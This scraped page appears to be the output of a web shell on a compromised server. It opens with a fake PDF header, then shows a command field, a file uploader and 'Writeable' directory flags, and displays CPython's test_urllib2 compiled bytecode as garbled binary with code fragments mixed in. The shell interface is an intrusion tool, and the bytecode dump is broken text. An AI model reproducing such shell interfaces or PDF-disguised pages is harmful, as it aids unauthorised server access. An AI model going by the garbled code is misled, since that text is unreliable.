%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_urllib2.cpython-39.opt-2.pyc
a

�_gd4�@sddlZddlmZddlmZddlmZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Zddl
mZmZmZmZmZmZmZddlmZddlZddlZGdd�dej�ZGd	d
�d
ej�ZGdd�d�ZGd
d�d�ZGdd�de �Z!Gdd�dej"�Z#Gdd�d�Z$Gdd�d�Z%Gdd�dej&�Z'Gdd�d�Z(Gdd�d�Z)dd�Z*dd �Z+Gd!d"�d"ej,j-�Z.Gd#d$�d$ej,j/�Z0Gd%d&�d&ej,j-�Z1Gd'd(�d(�Z2Gd)d*�d*ej�Z3d+d,�Z4Gd-d.�d.ej�Z5Gd/d0�d0ej�Z6Gd1d2�d2ej�Z7e8d3k�re�9�dS)4�N)�support)�
socket_helper)�test_urllib)�Request�OpenerDirector�HTTPBasicAuthHandler�HTTPPasswordMgrWithPriorAuth�_parse_proxy�_proxy_bypass_macosx_sysconf�AbstractDigestAuthHandler)�urlparsec@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TrivialTestsc
Cs�dD]�}i}td||�|d=|dkrdtjdkrd|�d�|�d�}}|�|jd�|�|jd�|��D](\}}|�|jd	|d
|||jf�qlqdS)N)�request�response�parse�error�robotparserzfrom urllib.%s import *�__builtins__r�nt�url2pathname�pathname2urlZ
nturl2pathz	urllib.%sz.%r is exposed in 'urllib.%s' but defined in %r)�exec�os�name�pop�assertEqual�
__module__�items)�self�module�context�u�p�k�v�r%�0/vddos/python/lib/python3.9/test/test_urllib2.py�test___all__!s
��zTrivialTests.test___all__cCs�|�tjj�|�ttjjd�tj�	tjj
��tjd�}tj
dkrNd|}nd|}tj�|��}|��Wd�n1s�0YdS)Nz	bogus url�/rz
file:///%s�	file://%s)�
addCleanup�urllibr�
urlcleanup�assertRaises�
ValueError�urlopenr�path�abspath�__file__�replace�sepr�read)rZfnameZfile_url�fr%r%r&�test_trivial0s

zTrivialTests.test_trivialcCsRdgd�fdddgfdgd�fdgd	�fg}|D]\}}|�tj�|�|�q0dS)
Nza,b,c)�a�b�czpath"o,l"og"i"cal, examplezpath"o,l"og"i"calZexampleza, b, "c", "d", "e,f", g, h)r8r9z"c"z"d"z"e,f"�g�hza="b\"c", d="e\,f", g="h\\i")za="b"c"zd="e,f"zg="h\i")rr+rZparse_http_list)r�tests�string�listr%r%r&�test_parse_http_listCs

���z!TrivialTests.test_parse_http_listcCs"tj�d�}|�|jt|��dS)N�reason)r+r�URLError�assertInrA�str)r�errr%r%r&�test_URLError_reasonstrNsz$TrivialTests.test_URLError_reasonstrN)�__name__r�__qualname__r'r7r@rFr%r%r%r&r
sr
c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�RequestHdrsTestscCsDd}|�t|ddid�jdd�|�t|ddid�jdd�dS)N�http://example.com�	Spam-eggs�blah��headersz	spam-EggS)rrrN)r�urlr%r%r&�test_request_headers_dictUs
������z*RequestHdrsTests.test_request_headers_dictcCs�d}t|ddid�}|�|�d��|�|��dg�|�dd�|�t|���ddg�|�|�d	��|�|�	d	��|�|�	d	d
�d
�|�
d�|�|�d��|�dd�|�|�d��|�
d�|�|�d��dS)
NrJrKrLrM)rKrLzFoo-Bar�baz)zFoo-barrQz	Not-there�defaultzUnredirected-spamZEggs)r�
assertTrue�
has_headerrZheader_items�
add_header�sorted�assertFalse�assertIsNone�
get_headerZ
remove_header�add_unredirected_header)rrO�reqr%r%r&�test_request_headers_methodsjs"�

z-RequestHdrsTests.test_request_headers_methodscCs�tj��}|j}|j}|dddd�|dddd�|dddd	�|dd
dd�|dd
dd�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|d	ddd�|d	ddd�|�|d	d�d�|�|d	d�d�|dddd�|dddd �|�|dd�d!�|d"dd#d"�|�|d"d�d$�|�|d"d%�d&�|�|dd'�d&�|�|dd(�d)�|�|dd�d)�|�|dd
�d*�|�|dd
�d+�dS),Nz
Some Realm�http://example.com/�joe�passwordzhttp://example.com/ni�nizhttp://c.example.com:3128�3r:z
d.example.com�4�dze.example.com:3128�5�e�example.com)r^r_rJzhttp://example.com/spamzhttp://example.com/spam/spamzhttp://example.com/foo�foozhttp://example.com/bar�bar�nini)rgr`)rhrir9�firstrL�second�spam)rkrlr8�1)rmr8zhttp://a.example.com/�NNz
c.example.comzc.example.com:3128)rar:)rbrc)rdre�r+rZHTTPPasswordMgr�add_password�find_user_passwordr�rZmgr�addZfind_user_passr%r%r&�test_password_manager�s�
������������������z&RequestHdrsTests.test_password_managercCsrtj��}|j}|j}|dddd�|dddd�|d	d
dd�|d
ddd�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|dd�d�|�|d	d�d�|�|d	d
�d�|�|d	d�d�|�|d
d�d�|�|d
d �d�|�|d
d!�d�|�|d
d"�d�dS)#Nr6zhttp://g.example.com:80�10�jr;zhttp://h.example.com�11r#r<zi.example.com:80�12�l�iz
j.example.com�13�mzg.example.com:100rnzg.example.com:80)rurvz
g.example.comzhttp://g.example.com:100zhttp://g.example.comz
h.example.com)rwr#zh.example.com:80zhttp://h.example.com:80z
i.example.com)rxryzhttp://i.example.com:80)r{r|zj.example.com:80zhttp://j.example.comzhttp://j.example.com:80rorrr%r%r&�"test_password_manager_default_port�sZ
�����������z3RequestHdrsTests.test_password_manager_default_portN)rGrrHrPr\rtr}r%r%r%r&rISs$FrIc@s(eZdZgZdejfdd�Zdd�ZdS)�
MockOpenerNcCs||||_|_|_dS�N)r[�data�timeout)rr[r�r�r%r%r&�openszMockOpener.opencGs|||_|_dSr)�proto�args)rr�r�r%r%r&rszMockOpener.error)rGrrH�
addheaders�socket�_GLOBAL_DEFAULT_TIMEOUTr�rr%r%r%r&r~�sr~c@s(eZdZddd�Zd	dd�Zdd�ZdS)
�MockFileNcCsdSrr%�r�countr%r%r&r5	sz
MockFile.readcCsdSrr%r�r%r%r&�readlineszMockFile.readlinecCsdSrr%�rr%r%r&�closeszMockFile.close)N)N)rGrrHr5r�r�r%r%r%r&r�s

r�c@seZdZdd�ZdS)�MockHeaderscCst|���Sr)r?�values)rrr%r%r&�
getheadersszMockHeaders.getheadersN)rGrrHr�r%r%r%r&r�sr�c@s&eZdZddd�Zdd�Zdd�ZdS)	�MockResponseNcCs.tj�||�||||f\|_|_|_|_dSr)�io�StringIO�__init__�code�msgrNrO)rr�r�rNr�rOr%r%r&r�szMockResponse.__init__cCs|jSrrMr�r%r%r&�infoszMockResponse.infocCs|jSr�rOr�r%r%r&�geturl szMockResponse.geturl)N)rGrrHr�r�r�r%r%r%r&r�s
r�c@seZdZdd�Zdd�ZdS)�
MockCookieJarcCs
||_dSr)�ach_req)rrr%r%r&�add_cookie_header%szMockCookieJar.add_cookie_headercCs|||_|_dSr)�ec_req�ec_r)rrrr%r%r&�extract_cookies(szMockCookieJar.extract_cookiesN)rGrrHr�r�r%r%r%r&r�$sr�c@seZdZdd�Zdd�ZdS)�
FakeMethodcCs||_||_||_dSr)�	meth_name�handle�action)rr�r�r�r%r%r&r�-szFakeMethod.__init__cGs|j|j|jg|�R�Sr)r�r�r�)rr�r%r%r&�__call__2szFakeMethod.__call__N)rGrrHr�r�r%r%r%r&r�,sr�c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�MockHTTPResponsecCs"||_||_||_||_d|_dS)N��)�fpr��statusrAr�)rr�r�r�rAr%r%r&r�7s
zMockHTTPResponse.__init__cCsdS)N�r%r�r%r%r&r5>szMockHTTPResponse.readcCsiSrr%r�r%r%r&r�AszMockHTTPResponse.infocCs|jSrr�r�r%r%r&r�DszMockHTTPResponse.geturlN)rGrrHr�r5r�r�r%r%r%r&r�6sr�c@sTeZdZdd�Zejfdd�Zdd�Zddd	�Zdd
d�dd
�Z	dd�Z
dd�ZdS)�
MockHTTPClasscCs(d|_g|_d|_d|_d|_i|_dS)NrF)�level�req_headersr��raise_on_endheaders�sock�_tunnel_headersr�r%r%r&r�IszMockHTTPClass.__init__cCs||_||_|Sr)�hostr�)rr�r�r%r%r&r�QszMockHTTPClass.__call__cCs
||_dSr)r�)rr�r%r%r&�set_debuglevelVszMockHTTPClass.set_debuglevelNcCs&||_||_|r||_n
|j��dSr)�_tunnel_hostZ_tunnel_portr��clear)rr��portrNr%r%r&�
set_tunnelYs
zMockHTTPClass.set_tunnelF)�encode_chunkedcCsP||_||_|dur&|j|��7_|j��|r:||_||_|jrLt��dSr)	�method�selectorr�r�sortr�r�r��OSError)rr�rO�bodyrNr�r%r%r&ras
zMockHTTPClass.requestcCstt�idd�S)Nr��OK)r�r�r�r%r%r&�getresponsenszMockHTTPClass.getresponsecCsdSrr%r�r%r%r&r�qszMockHTTPClass.close)NN)NN)rGrrHr�r�r�r�r�r�rr�r�r%r%r%r&r�Hs
�
r�c@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�MockHandler��cCs|�|�dSr)�_define_methods)r�methodsr%r%r&r�zszMockHandler.__init__cCsJ|D]@}t|�dkr|\}}n
|d}}t|||j�}t|j||�qdS)N�)�lenr�r��setattr�	__class__)rr��specrr��methr%r%r&r�}s

zMockHandler._define_methodscOs�|jj�||||f�|dur"dS|dkr.|S|dkrHtddid�}|S|dkrXtd�S|�d�r�||�d	�d
d�}zt|�}Wnty�Yn0tddid�}|j�	d|d||di�S|d
kr�t
j	�d��dS)N�return self�return responser�r�r��return requestzhttp://blah/r� ��httpr�raiserL)�parent�calls�appendr�r�
startswith�rfind�intr.rr+rB)rZfn_namer�r��kwds�resr�r%r%r&r��s*
zMockHandler.handlecCsdSrr%r�r%r%r&r��szMockHandler.closecCs||_g|j_dSr)r�r�)rr�r%r%r&�
add_parent�szMockHandler.add_parentcCst|d�sdS|j|jkS)N�
handler_orderT)�hasattrr�)r�otherr%r%r&�__lt__�s
zMockHandler.__lt__N)
rGrrHr�r�r�r�r�r�r�r%r%r%r&r�us	r�cCsbg}d}|D]P}Gdd�dt�}||�}|j|7_|�|�|d}|�|�|�|�q|S)Nrc@seZdZdS)z6add_ordered_mock_handlers.<locals>.MockHandlerSubclassN�rGrrHr%r%r%r&�MockHandlerSubclass�sr�r�)r�r�r�r��add_handler)�opener�	meth_spec�handlersr��methsr�r<r%r%r&�add_ordered_mock_handlers�s

r�cGst�}|D]}|�|�q
|Sr)rr�)Zhandler_instancesr�r<r%r%r&�build_test_opener�sr�c@s$eZdZdd�Zdd�Zdd�ZdS)�MockHTTPHandlercCs||_||_|��dSr)r�rN�reset)rr�rNr%r%r&r��szMockHTTPHandler.__init__cCsd|_g|_dS)Nr)�_count�requestsr�r%r%r&r��szMockHTTPHandler.resetcCs�ddl}ddl}|j�|�|��|jdkrl|jd|_tjj|j	}|�
|j�}|j�
d|t�|j	||�S||_|�
d�}tdd|d|���SdS)Nrr�r��

r�r�r�)�email�copyr�r��deepcopyr�r��client�	responsesr�Zmessage_from_stringrNr�rr�r[r��get_full_url)rr[r�r�rr�r%r%r&�	http_open�s
�
zMockHTTPHandler.http_openN�rGrrHr�r�r�r%r%r%r&r��sr�c@seZdZddd�Zdd�ZdS)�MockHTTPSHandlerrcCstjjj||d�t�|_dS)N��
debuglevel)r+r�AbstractHTTPHandlerr�r��httpconn)rr�r%r%r&r��szMockHTTPSHandler.__init__cCs|�|j|�Sr)�do_openr��rr[r%r%r&�
https_open�szMockHTTPSHandler.https_openN)r)rGrrHr�r�r%r%r%r&r��s
r�c@s$eZdZdd�Zdd�Zdd�ZdS)�MockHTTPHandlerCheckAuthcCs||_d|_dS�NF)r��has_auth_header)rr�r%r%r&r�sz!MockHTTPHandlerCheckAuth.__init__cCs
d|_dSr�)r�r�r%r%r&r�szMockHTTPHandlerCheckAuth.resetcCs6|�d�rd|_tjj|j}t|j|t�d|���S)N�
AuthorizationTr�)	rTr�r�r�r�r�r�r�r�)rr[rr%r%r&r�s
z"MockHTTPHandlerCheckAuth.http_openNr�r%r%r%r&r��sr�c@seZdZdd�Zdd�ZdS)�MockPasswordManagercCs||_||_||_||_dSr)�realmrO�userr_)rr�Zurirr_r%r%r&rpsz MockPasswordManager.add_passwordcCs||_||_|j|jfSr)�target_realm�
target_urlrr_)rr�Zauthurir%r%r&rqsz&MockPasswordManager.find_user_passwordN)rGrrHrprqr%r%r%r&r�sr�c@sDeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�OpenerDirectorTestscCs(Gdd�dt�}|�tt�j|��dS)Nc@seZdZdS)z<OpenerDirectorTests.test_add_non_handler.<locals>.NonHandlerNr�r%r%r%r&�
NonHandlersr)�objectr-�	TypeErrorrr�)rrr%r%r&�test_add_non_handlers
�z(OpenerDirectorTests.test_add_non_handlercCs\ddlm}t�}ddgdgg}t||�|�tj���dD]}|�||j	|d�q>dS)Nr)rB)r�r�)Z
proxy_openr�)Zredirect_requestr�)Zdo�proxy�redirectz://example.com/)
�urllib.errorrBrr�r�r+rZUnknownHandlerr-r�)rrB�or��schemer%r%r&�test_badly_named_methods$s	�
z,OpenerDirectorTests.test_badly_named_methodsc
Cs�t�}gd�dgdgdgg}t||�}td�}|�|�}|�||d�|ddf|ddfg}t||j�D]2\}}|\}	}
}}|�|	|
f|�|�||f�qldS)N)r��ftp_open�http_error_302r�r�r�r]r�rr�)rr�rr�r�zipr�)
rrr�r�r[�rr��expected�got�handlerrr�r�r%r%r&�test_handled9s�

z OpenerDirectorTests.test_handledcCs�t�}g}dgdfdgdffD]:\}}Gdd�dt�}||�}||_|�|�|�|�q|�d�|�|jdd|d�|�|jdd|d�dS)	Nrr�r�rc@seZdZdS)zCOpenerDirectorTests.test_handler_order.<locals>.MockHandlerSubclassNr�r%r%r%r&r�Xsr�r]r�)rr�r�r�r�r�rr�)rrr�r�r�r�r<r%r%r&�test_handler_orderSs�

z&OpenerDirectorTests.test_handler_ordercCsZt�}dgdgg}t||�}td�}|�tjj|j|�|�|j	|dd|fifg�dS)N)r�r�rr]rr�)
rr�rr-r+rrBr�rr�)rrr�r�r[r%r%r&�
test_raisees�
zOpenerDirectorTests.test_raisecCs�t�}dgddggd�dgg}t||�}td�}|�|�|dd|ff|dd|tjd	d
iffg}t||j�D]:\}}|\}}	}
|�||	f|dd��|�|
|d�qpdS)N)r�z	error 302)Zhttp_error_400r�r�))rr�Zhttp_error_303Z
http_errorrr]rr��.r�)	rr�rr�rZ	ALWAYS_EQrr�r)rrr�r�r[r�rrrZmethod_namer�r%r%r&�test_http_errorrs$�

��
z#OpenerDirectorTests.test_http_errorcCst�}ddgddgg}t||�}td�}|�|�|ddf|ddf|ddf|ddfg}t|j�D]�\}\}}}	}
|dkr�|�||f||�|�t|	�d�|�|	dt�qh|�||f||�|�t|	�d�|�|	dt�|	ddurh|�|	dt	�qhdS)	N)�http_requestr�)�
http_responser�r]rrr�rr�)
rr�rr��	enumerater�rr�ZassertIsInstancer�)rrr�r�r[r�rzrrr�r�r%r%r&�test_processors�s0���

�z#OpenerDirectorTests.test_processorsN)
rGrrHrr
rrrrrr%r%r%r&rs
rcCs\z|�d�Wnty*t�d��Yn0tj�|�}tjdkrX|�	d�rX|dd�}|S)Nzutf-8zpath is not encodable to utf8rz///r�)
�encode�UnicodeEncodeError�unittestZSkipTestr+rrrrr�)r0�urlpathr%r%r&�sanepathname2url�sr#c@s^eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Ze� e!j"d9kd:�d;d<��Z#d=d>�Z$d?d@�Z%dAdB�Z&dCdD�Z'dEdF�Z(dGdH�Z)dIdJ�Z*dKdL�Z+dMdN�Z,dOdP�Z-dQdR�Z.dSS)T�HandlerTestscs�Gdd�d��G�fdd�dtjj�}ddl}d}||�}t�|_dd|jd	d	d
ddgd
df	dd|jdd	d
ddgd
df	dd|jdd	d
ddgd
df	dd|jdd	d
ddgd
df	dddd	d	dddgd	df	dd|jd	d	dgddf	fD]�\	}}}}}	}
}}}
t|�}d|_|�	|�}|�
|j|�|�
|j|	�|�
|j
t�|��|�
|j|�|�
|j|�|�
|jj|�|�
|jj|
�|��}|�
|�d�|
�|�
t|d�t|��q�dS)Nc@s$eZdZdd�Zdd�Zdd�ZdS)z-HandlerTests.test_ftp.<locals>.MockFTPWrappercSs
||_dSr�r��rr�r%r%r&r��sz6HandlerTests.test_ftp.<locals>.MockFTPWrapper.__init__cSs$|||_|_t�|j�t|j�fSr)�filename�filetyper�r�r�r�)rr'r(r%r%r&�retrfile�sz6HandlerTests.test_ftp.<locals>.MockFTPWrapper.retrfilecSsdSrr%r�r%r%r&r��sz3HandlerTests.test_ftp.<locals>.MockFTPWrapper.closeN)rGrrHr�r)r�r%r%r%r&�MockFTPWrapper�sr*cs&eZdZdd�Zejf�fdd�	ZdS)z-HandlerTests.test_ftp.<locals>.NullFTPHandlercSs
||_dSrr%r&r%r%r&r��sz6HandlerTests.test_ftp.<locals>.NullFTPHandler.__init__cs4|||_|_|||_|_||_�|j�|_|jSr)r�passwdr�r��dirsr��
ftpwrapper)rrr+r�r�r,r��r*r%r&�connect_ftp�s
z9HandlerTests.test_ftp.<locals>.NullFTPHandler.connect_ftpN)rGrrHr�r�r�r/r%r.r%r&�NullFTPHandler�s�r0rzrheum rhaponicumz ftp://localhost/foo/bar/baz.html�	localhostr��Irgrhzbaz.htmlz	text/htmlz'ftp://parrot@localhost/foo/bar/baz.htmlZparrotz*ftp://%25parrot@localhost/foo/bar/baz.htmlz%parrotz,ftp://%2542parrot@localhost/foo/bar/baz.htmlz	%42parrotzftp://localhost:80/foo/bar/�P�Dzftp://localhost/baz.gif;type=a�Azbaz.gif�Content-type�Content-length)r+rZ
FTPHandler�ftplibr~r�ZFTP_PORTrr�rrrr+r�r��
gethostbynamer�r,r-r'r(r��getr�r�)rr0r8r�r<rOr�r�rr+�type_r,r'Zmimetyper[rrNr%r.r&�test_ftp�sX
�
�
�
�

���
zHandlerTests.test_ftpc
Cs�ddl}tj��}t�}|_tj}tt	j
�|��}d}d|d|dt�
d�|fg}zt�
t���}Wntjy�d}Yn0|r�|�d||f�|D]�}	t|d�}
z�z|
�|�W|
��n
|
��0|�t|	��}z$|��}|��}
|��}W|��n
|��0t	�|�}|jj|jd	d
�}Wt	�|�nt	�|�0|�||�|�|
dd�|�|
d
d�|�|
d|�|�||	�q�d|dddt�
d�t	��|fdt	��|ffD]f}	zRt|d�}
z|
�|�W|
��n
|
��0|� tj!j"|jt|	��Wt	�|�nt	�|�0�q�tj��}t�}|_dD]r\}	}t|	�}z|�|�Wn"tj!j"�y�|�#|�Yn0|�$|j%|�|�|j&d�|�|j&dk|��qBdS)Nrs
hello, world
zfile://localhost%sr)zfile://%s%sr1r��wbT)Zusegmtr6z
text/plainr7r{z
Last-modifiedzfile://localhost:80%szfile:///file_does_not_exist.txtz)file://not-a-local-host.com//dir/file.txtzfile://%s:80%s/%sz,file://somerandomhost.ontheinternet.com%s/%s))zfile://ftp.example.com//foo.txtF)z file://ftp.example.com///foo.txtF)zfile://ftp.example.com/foo.txtF)z"file://somehost//foo/something.txtF)z#file://localhost//foo/something.txtF�ftp)'Zemail.utilsr+r�FileHandlerr~r�r�TESTFNr#rr0r1r�r9�gethostname�gaierrorr�r��writer�Z	file_openrr5r�r��statZutilsZ
formatdate�st_mtime�remover�getcwdr-rrBrW�assertIsr[�type)rr�r<rr@r"Ztowrite�urlsZ	localaddrrOr6rr�rNZrespurlZstatsZmodifiedr>r[r%r%r&�	test_file�s�
�




�
��	


�
zHandlerTests.test_filecCsftj��}t�}|_d}dD]�\}}t||ddi�}d|_|�dd�t�}|�	||�}|j
|j|j|j
|j|jdkdf|��}	|	j|	j|�|�
�|�|�|jd	�|�|jd
�|�|j|�|�|jd�|�|jgd��|�|j|�qd
|_|�tjj|j	||�tdd�}|�t|j|�dg|_dD�]}td|�}t ddid�}|�|�}
|du�r�|�!d|j"�|�!d|j"�n$|�|j"dd�|�|j"dd�|�|j"dd	�|�|j"dd�|�dd�|�dd�|�dd�|�dd�|�|�}
|�|j"dd�|�|j"dd�|�|j"dd�|�|j"dd��qDdS)Nr]))�GETN)�POSTsblah�Foorh�Spam�eggsr�r�rfrr())�
Connectionr�)rNrh�rOrPTZbadpostrR)�Nr�r7r6�0z!application/x-www-form-urlencoded�HostrgrQ)#r+rr�r~r�rr�rZr�r�r5r�r�r�r�r�r:�__contains__rr�r�r�r�r�r�r�r-rrBr�do_request_r�r��assertNotIn�unredirected_hdrs)rr<rrOr�r�r[r�r�hdrs�newreqr%r%r&�	test_httpWsd
�




�
zHandlerTests.test_httpc	Cstj��}t�}|_tjddd�}|j}|��|�	t
j|�t|d��L}t
d|i�}|�|�}|�d�}|�|d�|�|�d��Wd�n1s�0Yt|d��P}t
d|d	d
i�}|�|�}|�t|�d��d
�|�|�d��Wd�n1�s0YdS)Nzw+bF)�mode�delete�rbr]�Transfer-encoding�chunkedr7�Content-Length�)r+rr�r~r��tempfile�NamedTemporaryFilerr�r*r�unlinkr�rrWrYrrWrTr�)	rr<r�file_objZ	file_pathr6r[r[�ter%r%r&�test_http_body_file�s"


.
z HandlerTests.test_http_body_filecCs�tj��}t�}|_t��}td|i�}|�|�}|�	|�
d�d�|�|�d��ddi}td||�}|�|�}|�	t
|�
d��d�|�|�d��|��dS)Nr]r`rar7rbrc)r+rr�r~r�r��BytesIOrrWrrYrWrTr�r�)rr<rrgr[r[rNr%r%r&�test_http_body_fileobj�s


z#HandlerTests.test_http_body_fileobjc	Cs�tj��}t�}|_tjddg}iddifD]�}tj|tj	d��h}t
d|j|�}|�|�}|s�|�
|�d�d�|�
|�d�d	�n|�
t|�d��d�Wd�q.1s�0Yq.dS)
Nz-c�passrbrc)�stdoutr]r7r`ra)r+rr�r~r��sys�
executable�
subprocess�Popen�PIPErrmrWrrYr�)rr<r�cmdrN�procr[r[r%r%r&�test_http_body_pipe�s

��z HandlerTests.test_http_body_pipecCs�tj��}t�}|_dd�}iddifD]\}td|�|�}|�|�}|sp|�|�d�d�|�|�d�d�q*|�t	|�d��d�q*dS)	Ncss
dVdS)Nsoner%r%r%r%r&�
iterable_body�sz;HandlerTests.test_http_body_iterable.<locals>.iterable_bodyrb�r]r7r`ra)
r+rr�r~r�rrWrrYr�)rr<rrvrNr[r[r%r%r&�test_http_body_iterable�s

�z$HandlerTests.test_http_body_iterablecCsHtj��}t�|_|�tdd��}|�|�d�d�|�	|�
d��dS)Nr]r%r`rar7)r+rr�r~r�rWrrrYrWrT)rr<r[r%r%r&�test_http_body_empty_seq�s

z%HandlerTests.test_http_body_empty_seqcCshtj��}t�}|_t�dgd��}iddifD]0}td||�}|�|�}|�t	|�
d��d�q2dS)Nr2)r�r���rb�r]r7)r+rr�r~r��arrayrrWrr�rY)rr<rZiterable_arrayrNr[r[r%r%r&�test_http_body_array�s

z!HandlerTests.test_http_body_arraycCs6t�}tdd�}|�|�|�d�|�|jd�dS)Nr�r�zhttps://www.example.com)rr�r�r�rZ_debuglevel)rrr<r%r%r&�test_http_handler_debuglevels



z)HandlerTests.test_http_handler_debuglevelcCsztj��}t�|_d}gd�}|D]R}t||�}|�|�}|�|jdd�|�	dd�|�|�}|�|jdd�q"dS)NrS)z#http://example.com/foo/bar/baz.htmlz$http://example.com//foo/bar/baz.htmlz$http://example.com/foo//bar/baz.htmlz$http://example.com/foo/bar//baz.htmlrUrfzsomeproxy:3128)
r+rr�r~r�rrWrrY�	set_proxy)rr<r�Zds_urlsZds_urlZds_reqZ	np_ds_reqZp_ds_reqr%r%r&�test_http_doubleslashs



z"HandlerTests.test_http_doubleslashcCshgd�}td�}|D]N}||_t|�}|�|��|�|�|jpBd|j�|�t|���j|j�qdS)N)zhttp://example.com?foo=bar#bazz)http://example.com?foo=bar&spam=eggs#bashrJrJr�)r�full_urlrrr��fragment�query)rrJrrO�parsedr%r%r&�test_full_url_setter*sz!HandlerTests.test_full_url_settercCs6td�}|`|�|j�|�|j�|�|jd�dS)N�http://www.example.comr�)rr�rXr�rr�)rrr%r%r&�test_full_url_deleterAs
z"HandlerTests.test_full_url_deletercCsztj��}t�|_d}t|�}|�|�}|�|jd�|�|j	d�d}t|�}|�|�}|�|jd�|�|j	d�dS)Nzhttp://www.python.org?getspam�www.python.orgz	/?getspam�http://www.python.orgr�)
r+rr�r~r�rrWrr�r�)rr<Z	weird_urlr[r[Zurl_without_pathr%r%r&�test_fixpath_in_weirdurlsHs


z&HandlerTests.test_fixpath_in_weirdurlscCstj��}t�}|_d}t|�}tddid|�}|�||�}|�||�|�	t
|d��tddid|�}|�||�}|�||�|�	t
|d��tdd	id|�}|�||�}|�||�|�	t
|d��td
did|�}|�|�||��|�|j
d�|�|j||d
dif�dS)
Nr]r�r�r�r���ZAccepted��zPartial contenti�zBad gatewayr�)r+rZHTTPErrorProcessorr~r�rr�rrHrWr�rXrr�r�)rr<rrOr[r�newrr%r%r&�test_errors[s(
zHandlerTests.test_errorscCs�t�}tj�|�}t�|_td�}tddid�}|�|�}|�	|j
|�|�	|j
|�|�|jd�|�
|j�|�||�}|�	|j|�|�	|j|�|�	||�dS)Nr]r�r�r�rf)r�r+r�HTTPCookieProcessorr~r�rr�rrHr�r�origin_req_hostrWZunverifiablerr�r�)r�cjr<r[rr[r�r%r%r&�test_cookiests
zHandlerTests.test_cookiesc
Csdd}d}tj��}t�}|_dD�]Z}dD�]N}t|d|�}t||�}tj|_	|�
dd�|durz|�
dtt|���|�
d	d
�z||t�|dtd|i��Wn,tjjy�|�|d
�|�|�Yn0|�|j��|�z|�|j��d�Wn"t�y|�|jj�Yn0dd�|jjD�}	|�d|	�|�d|	�|�|jjdd�|�d	|jj�|�d	|jj�q,q"t|�}tj|_	|fdd�}
t|dd�}d}tj|_	z|
||d�|d}�q�Wn*tjj�y�|�|tjjj�Yn0t|dd�}d}tj|_	z |
||d|�|d}�qWn*tjj�y^|�|tjjj�Yn0dS)N�http://example.com/a.htmlzhttp://example.com/b.html)i-ri/�3)Nz
blah
blah
z
http_error_%sZNonsensezviking=withholdrbrOrl�Blah�locationr�rLcSsg|]}|���qSr%)�lower)�.0�xr%r%r&�
<listcomp>�rSz.HandlerTests.test_redirect.<locals>.<listcomp>zcontent-lengthzcontent-typec	Ss |�|t�ddtd|i��dS)Nrr�r�)rr�r�)r<r[rOr%r%r&r	�s
�z,HandlerTests.test_redirect.<locals>.redirectrf)r�rr]r�zhttp://example.com/%d)r+r�HTTPRedirectHandlerr~r��getattrrr�r�r�rUrDr�rZr�r�r�	HTTPErrorr�assertIsNotNoner[r��
get_method�AttributeErrorrWr�rNrXrYZmax_repeatsZmax_redirections)r�from_urlZto_urlr<rr�r�r�r[rNr	r�r%r%r&�
test_redirect�sl




���zHandlerTests.test_redirectcCs�d}gd�}gd�}d}tj��}t�}|_t|�}tj|_|D]6}|d|}	|�	tj
j|j|t
�ddtd|	i��qB|D]>}|d|}
|�|t
�dd	td|
i��|�|j��|
�q~dS)
Nr�)r��httpsr>)�file�imapZldapzexample.com/b.htmlz://rzSecurity Loopholer��That's fine)r+rr�r~r�rr�r�r�r-rr�rr�r�rr[r�)rr�Z
valid_schemesZinvalid_schemesZschemeless_urlr<rr[rZinvalid_url�	valid_urlr%r%r&�test_invalid_redirect�s(


�
�z"HandlerTests.test_invalid_redirectc	Csnd}d}tj��}t�}|_t|�}tj|_tj	�
||�}|�|t�ddt
d|i��|�|j��|�dS)Nr�z/b.htmlrr�r�)r+rr�r~r�rr�r�r�r�urljoinrr�r�rr[r�)rr�Zrelative_urlr<rr[r�r%r%r&�test_relative_redirect�s

�z#HandlerTests.test_relative_redirectc	Cs�ddlm}ddlm}|�}||dd�tdd�}tj��}tj��}tj�	|�}t
||||�}|�d�|�|j
�d��dS)	Nr)�	CookieJar)�interact_netscape�http://www.example.com/z	spam=eggsrz%Location: http://www.cracker.com/

�Cookie)Zhttp.cookiejarr�Ztest.test_http_cookiejarr�r�r+r�HTTPDefaultErrorHandlerr�r�r�r�rWr[rT)	rr�r�r��hh�hdeh�hrhZcprr%r%r&�test_cookie_redirect�s



z!HandlerTests.test_cookie_redirectcCsTd}tdd|�}tj��}tj��}t|||�}|�d�}|�|��|�	��dS)Nz(http://www.example.com/index.html#OK

rz
Location: r�)
r�r+rr�r�r�r�rr��strip)rZredirected_urlr�r�r�rr�r%r%r&�test_redirect_fragments


